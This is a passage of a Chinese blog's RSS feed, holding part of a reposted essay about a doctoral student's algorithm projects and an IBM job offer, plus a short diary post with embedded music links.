虽然有人劝说：“花个半天搞定算了哦！”但是我决心不用笨办法——我花了一个星期，凭借曾经开发的“二维矢量图形库”，设计出一个智能化的基础数据管理子系统，只需要在图上简单点击，然后拷入excel中的车站名称和代码，系统自动识别，然后再自动生成区间、换乘关系等等6张数据库表需要的全部数据。后来课题组利用这个工具构建了很多路网，因为非常简单，这个子系统也成为了后来863中网络客流仿真系统的基础。</p>
<p>5. 上物流系统课老师提到一个著名的NP问题——Vehicle Routing Problem，要求大家回去写写系统设计书。我当时就决定要开发这个系统，后来的几个星期，我发现遗传算法和自然界的规律真的是如此的吻合，达到了如痴如醉的地步，被女朋友嘲笑为：“整天关在屋里下崽…”后来结果是，我设计的遗传算法，不但能够求解最少需要多车，还能找到总里程很短的方案。</p>
<p>6. 在斯坦福访学主要是参与一个疏散仿真系统的研究。但是，由于有遗传算法的背景，另外一个教授介绍我参加他们的一个课题——办公大楼改造优化方案的辅助决策系统。<br />
刚开始我认为这是一个确定性问题，因此采用A*算法得到了比较好的效果，已经可以满足项目需求了。我想为了作对比，又设计了遗传算法，居然发现在少数情况下能“变异”到更好解。大量实验后，我发现了两种算法虽然原理差别很大，数据结构上却存在内在联系，能够组合成一种具备通用性的框架，解决大量离散优化问题。<br />
完全出于对科学问题本身的痴迷，我并没有罢手——自行设计了一种数据结构替换哈希表，将两个算法性能同时提升10倍之多（在遗传算法中提出了“花名册”的概念），后来又发明一种“交叉算法”，再次将遗传算法提升十几倍。当时测试案例的人说已经完全跟不上了（已经让他反复做了好多次了），因此最后我们paper里面的数据不是我最快的算法得到的。</p>
<p>7. 利用上面的“离散优化问题搜索框架”，我发现还可以解决《编程之美》中的许多问题。在大家都忙于找工作面试的时候，我却整整花了一个月关在寝室里研究《编程之美》，有时候挑战一个题目整整花去1天时间，当时我身边的人都说我“不务正业”，我自己都有点怀疑了。可是事实证明，这份研究不但证明了兴趣，还证明了我的算法能力，对后来找工作很有帮助。</p>
<p>结论</p>
<p>通过上面的故事，我想已经可以证明我这个定律了——能力是一种态度。如果要问态度是什么，那么我想是一种单纯的，没有任何功利的科学态度，对问题本身的执着。</p>
<p>这7个故事也可以用下面这张图串起来，一面的时候时间很短，我就打印了这个图，凭借它去打动面官。</p>
<p>在我编程之美的学习连载里面，大家看到了很多好的点子。但是，它们都是在平时走路、吃饭、散步的时候想出来的，我这个人从来不擅长考试，女朋友嘲笑我——如果你去微软面试估计危险，因为你没有时间散步……</p>
<p>我曾经想过，对于一个博士，面试不一定能看出其水平，但是，如果给他30分钟PPT时间，介绍他的研究，水平就一目了然了。</p>
<p>真的没想到的是，在IBM的后2轮面试，全部一一印证了我曾经的设想……用PPT去演讲是我最擅长的东西，因为太多次的磨练了：）</p>
<p>微软的技术是我多年研究和喜爱的东西，微软也是我多年梦想的企业。但是，如今却迟疑了，IBM这份《智慧地球赢在中国》的白皮书确实令人震撼——它能够站在世界经济大环境的角度务实考虑中国的未来……</p>
<p>原文地址：<a rel="nofollow" href="http://yishan.cc/blogs/gpww/archive/2009/12/02/ibm-offer.aspx" target="_blank">http://yishan.cc/blogs/gpww/archive/2009/12/02/ibm-offer.aspx</a></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2010/02/ibm%e4%b8%ad%e5%9b%bd%e7%a0%94%e7%a9%b6%e9%99%a2offer%e4%b9%8b%e6%84%9f%e8%a8%80%e2%80%94%e2%80%94%e8%83%bd%e5%8a%9b%e6%98%af%e4%b8%80%e7%a7%8d%e6%80%81%e5%ba%a6%ef%bc%88%e8%bd%ac%ef%bc%89/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>09.12.2</title>
		<link>http://cq-cser.cn/2009/12/09-12-2/</link>
		<comments>http://cq-cser.cn/2009/12/09-12-2/#comments</comments>
		<pubDate>Wed, 02 Dec 2009 05:04:11 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[其他]]></category>
		<category><![CDATA[生活]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=243</guid>
		<description><![CDATA[课设要搞完，看美剧的日子要结束了，感觉自己的了强迫症，虽然知道这是借口，该做什么很清楚了，借用TONY的格言，像“疯狗”一样做事，像“土鳖”一样做人。要做个导航，一个分页，一个留言板。GOOGLE搜索1百多页了啊，不理解，[audio:http://song.kugomusic.cn/Music5/mp3/074635632c.mp3] [audio:http://linxing.wz66.com/uploadfiles/2007-12/272216186102.mp3] [audio:http://cdn1-33.projectplaylist.com/e1/static10/349/558851.mp3] [audio:http://cdn1-36.projectplaylist.com/e1/static12/mp3/2730696.mp3] Related posts:cooliris for developers


Related posts:<ol><li><a href='http://cq-cser.cn/2009/11/cooliris-for-developers/' rel='bookmark' title='Permanent Link: cooliris for developers'>cooliris for developers</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>课设要搞完，看美剧的日子要结束了，感觉自己的了强迫症，虽然知道这是借口，该做什么很清楚了，借用TONY的格言，像“疯狗”一样做事，像“土鳖”一样做人<span id="more-243"></span>。要做个导航，一个分页，一个留言板。GOOGLE搜索1百多页了啊，不理解，[audio:http://song.kugomusic.cn/Music5/mp3/074635632c.mp3]<br />
[audio:http://linxing.wz66.com/uploadfiles/2007-12/272216186102.mp3]<br />
[audio:http://cdn1-33.projectplaylist.com/e1/static10/349/558851.mp3]<br />
[audio:http://cdn1-36.projectplaylist.com/e1/static12/mp3/2730696.mp3]</p>


<p>Related posts:<ol><li><a href='http://cq-cser.cn/2009/11/cooliris-for-developers/' rel='bookmark' title='Permanent Link: cooliris for developers'>cooliris for developers</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2009/12/09-12-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://song.kugomusic.cn/Music5/mp3/074635632c.mp3" length="3198815" type="audio/mpeg" />
<enclosure url="http://linxing.wz66.com/uploadfiles/2007-12/272216186102.mp3" length="1799840" type="audio/mpeg" />
<enclosure url="http://cdn1-33.projectplaylist.com/e1/static10/349/558851.mp3" length="5411799" type="audio/mpeg" />
<enclosure url="http://cdn1-36.projectplaylist.com/e1/static12/mp3/2730696.mp3" length="3219232" type="audio/mpeg" />
		</item>
	</channel>
</rss>

